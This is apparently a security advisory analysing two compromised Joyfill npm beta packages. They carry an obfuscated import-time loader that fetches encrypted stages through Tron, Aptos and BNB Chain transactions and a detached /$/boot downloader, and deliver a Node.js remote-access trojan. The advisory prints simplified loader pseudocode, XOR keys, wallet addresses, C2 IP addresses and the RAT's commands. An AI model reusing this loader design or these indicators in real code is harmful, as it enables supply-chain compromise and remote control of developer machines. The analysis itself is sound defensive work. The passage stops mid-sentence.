Two Joyfill npm Beta Releases Compromised With Blockchain-Backed Remote Access Trojan Loader Two npm beta releases in the @joyfill namespace contain an import-time JavaScript implant that resolves encrypted code through Tron, Aptos, and BNB Smart Chain transactions, ultimately delivering a 77 KB Node.js remote-access trojan. The affected packages are @joyfill/layouts@0.1.2-2773.beta.0 and @joyfill/components@4.0.0-rc24-2773-beta.4, both published on July 28, 2026, by the same npm identity. Joyfill provides SDKs for embedding forms and documents into web and mobile apps, and the compromised versions can execute arbitrary code in any process that loads them, including development environments and CI runners. Two npm beta releases in the @joyfill namespace contain an import-time JavaScript implant that resolves encrypted code through Tron, Aptos, and BNB Smart Chain transactions. Static analysis shows that its primary branch reaches a 77 KB Node.js remote-access trojan. A parallel branch launches a detached Node.js process, requests a separate boot payload from 23 . 27 . 13 . 43/$/boot , sends the marker header Sec-V: A9-0135-3 , decrypts the response, and evaluates it. Joyfill provides software development kits for embedding forms, documents, and PDFs into web and mobile applications. @joyfill/components supplies the React UI components used to build, render, and edit these experiences, while @joyfill/layouts manages their page and field layouts. Each package receives approximately 16,000 weekly downloads on npm. Because @joyfill/components depends on @joyfill/layouts , these figures overlap and should not be combined into a single download total. The affected versions were beta releases, so overall weekly downloads do not indicate how many users installed the compromised beta versions. Affected Packages Affected-Packages Neither uses an npm lifecycle hook. The functional layouts implant runs when Node.js loads the CommonJS package entrypoint, so npm install --ignore-scripts does not prevent execution once the affected module is imported. The loader has exact PolinRider-family indicators, including its multi-chain resolver structure, global markers, and XOR keys. The recovered 77 KB final JavaScript has the highly distinctive Socket.IO http://Socket.IO command set, Sec-V marker design, and developer-tool persistence associated with the DEV POPPER malware family. These are family assessments based on direct code overlap and published technical research, not an attribution of the Joyfill compromise to a particular group. Impact Impact The @joyfill/layouts release should be treated as capable of arbitrary code execution in the context of any process that loads it. This includes development environments, CI runners, test tooling, server-side rendering, and builds. The final recovered code can collect host information, establish a Socket.IO http://Socket.IO remote-control channel, execute supplied JavaScript or shell commands, upload files, read clipboard data, and modify files belonging to developer tools. @joyfill/components@4.0.0-rc24-2773-beta.4 contains the same malicious injection in dist/index.js , dist/index.esm.js , and dist/joyfill.min.js . Its published Rollup bundle supplies a throwing dynamic- require shim, preventing the loader from resolving its network dependencies in the normal bundled execution path. That limits execution in this particular artifact, but does not make the release safe or remove the evidence that the same source-level injection reached a second Joyfill package. The preceding versions examined, @joyfill/layouts@0.1.1 and @joyfill/components@4.0.0-rc24 , do not contain the implant. Other public @joyfill packages checked during this analysis did not contain this signature. How the packages were compromised How-the-packages-were-compromised Both malicious versions use the 2773 prerelease build marker and were published by the same npm identity using Node.js 18.20.0 and npm 10.5.0 : @joyfill/layouts@0.1.2-2773.beta.0 : 2026-07-28T10:54:57.311Z @joyfill/components@4.0.0-rc24-2773-beta.4 : 2026-07-28T11:03:59.568Z The layouts source map attributes the appended implant to src/utils/reactGridLayoutUtils.js ; the emitted source maps for both packages include the implant’s own identifiers. This establishes that the code was present at bundle time rather than inserted only into a final tarball. It does not, on its own, identify whether the initial access was to a developer workstation, source repository, CI environment, or publishing credential. Technical Analysis Technical-Analysis Stage 0: Module-load bootstrap The implant is appended after legitimate package code. It begins with several layers of JavaScript obfuscation: a seeded character shuffle, a small decoded string table, a word-substitution decompressor, and dynamic Function construction. The recovered table contains r , object , and m . In the layouts CommonJS bundle, the implant exposes Node.js module primitives through globals, then runs the decoded resolver: // Simplified and normalized from the layouts CommonJS bundle. global.r = require; global.m = module; const resolver = decryptEmbeddedPayload ; Function "", resolver ; The bootstrap sets global. V to A9-0135-3 , retains a 30-second process-global throttle in p t , and launches two separate payload-resolution paths. One evaluates its result in the importing process. The other uses child process.spawn "node", "-e", payload with detached: true , stdio: "ignore" , and windowsHide: true , then calls unref . This is why the implant is not an install-hook attack: package loading is sufficient to begin the chain. Stage 1: Blockchain-backed dispatch The first resolver obtains a BSC transaction hash from the latest outbound transaction of a hard-coded Tron address. If that fails, it queries an Aptos account and reads payload.arguments 0 . It then retrieves the BSC transaction through eth getTransactionByHash , reverses and decodes the transaction input, splits it on ?.? , XOR-decrypts one segment, and evaluates the resulting JavaScript. js // Simplified and normalized from the recovered resolver. const pointer = await resolveFromTronOrAptos ; const tx = await bscRpc "eth getTransactionByHash", pointer ; const decoded = decodeAndReverse tx.result.input.slice 2 ; const nextStage = xor decoded.split "?.?" 1 , key ; eval nextStage ; The in-process route uses the following values: - Tron: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP - Aptos fallback: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e - XOR key: 2 gWfGj;<:-93Z^C - BSC payload transaction: 0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d The detached branch uses a distinct set: - Tron: TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG - Aptos fallback: 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 - XOR key: m6:tTh^D cBz?NM - BSC payload transaction: 0x7ffb4efddd96e20aec90724be2ac9a71c138a9af697b9fb8224bbf80ea4f22be The use of public blockchain data makes payload selection mutable without a new npm publication. Blocking a conventional C2 domain alone would not stop this initial retrieval sequence. The first recovered payload: C2 selection and a second blockchain hop The first in-process payload is a 5,849-byte JavaScript loader, SHA-256 cb46f12d70824ea24ed1f8bcf45bf3f86680e02a9089aafc03b27f691be57be3 . It preserves its loader source in globals, configures C2 values based on V , and runs the same Tron or Aptos to BSC resolution method a second time. For the Joyfill marker A9-0135-3 , the loader sets the Socket.IO http://Socket.IO endpoint to 166 . 88 . 134 . 62:443 and the upload host to 166 . 88 . 134 . 62 . It also contains alternate profiles for 198 . 105 . 127 . 210 and 23 . 27 . 202 . 27 , including port 27017 for the latter. The tier-two resolver uses: - Tron: TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v - Aptos fallback: 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1 - BSC payload transaction: 0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968 - XOR key: 2 gWfGj;<:-93Z^C That transaction yields the final 77,276-byte clientCode payload, SHA-256 26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18 . This is a directly recovered Joyfill downstream stage, not a capability assessment inferred only from a related incident. The parallel second stage: Detached /$/boot downloader The second primary payload is a 3,525-byte JavaScript bootstrap, SHA-256 78f0de8682e0e894a5784eb7e95db4da6088f528918ca3107dd1e76f80a561d8 . It is started through the detached node -e path described above. Its C2 selector is independent of the 77 KB RAT branch. For a marker beginning with A , which includes A9-0135-3 , this branch selects 23 . 27 . 13 . 43 . It sends a Windows Chrome user agent and the header Sec-V: A9-0135-3 in a request to /$/boot . It XOR-decrypts the response using ThZG+0jfXE6VAGOJ and calls eval on the result. The same bootstrap carries fallback profiles for 198 . 105 . 127 . 210 and 23 . 27 . 202 . 27:27017 . This establishes that 23 . 27 . 13 . 43 , /$/boot , and the Sec-V header are direct Joyfill code findings. The response body itself was retrieved from a disposable analysis VM, not this branch’s origin host, and is characterized below. This is a redundant delivery branch, not a harmless fallback. It is detached from the importing Node.js process and can continue after a build, test, or CLI command exits. Final recovered payload: Node.js remote-access trojan The final clientCode payload is heavily obfuscated with control-flow flattening and an LZ-String-compressed table of 337 recovered strings. It is versioned 260605 and includes socket.io-client . It identifies the host to the configured Socket.IO http://Socket.IO service with values including a client UUID, process ID, hostname, operating-system details, and session timestamps. Its command vocabulary includes ss info , ss ip , ss cb , ss upf , ss upd , ss dir , ss fcd , ss stop , ss inz , ss inzx , ss connect , ss eval , ss eval64 , ss exit , and ss exit f . The code supports supplied JavaScript evaluation, interpreter and shell execution, file management, and upload. It installs axios and socket.io-client into its working directory when dependencies are missing. The final payload includes these additional behaviors: - Uploads files to the configured upload host at /u/f using multipart form data and a client id . - Retrieves additional JavaScript through /0x/js? V=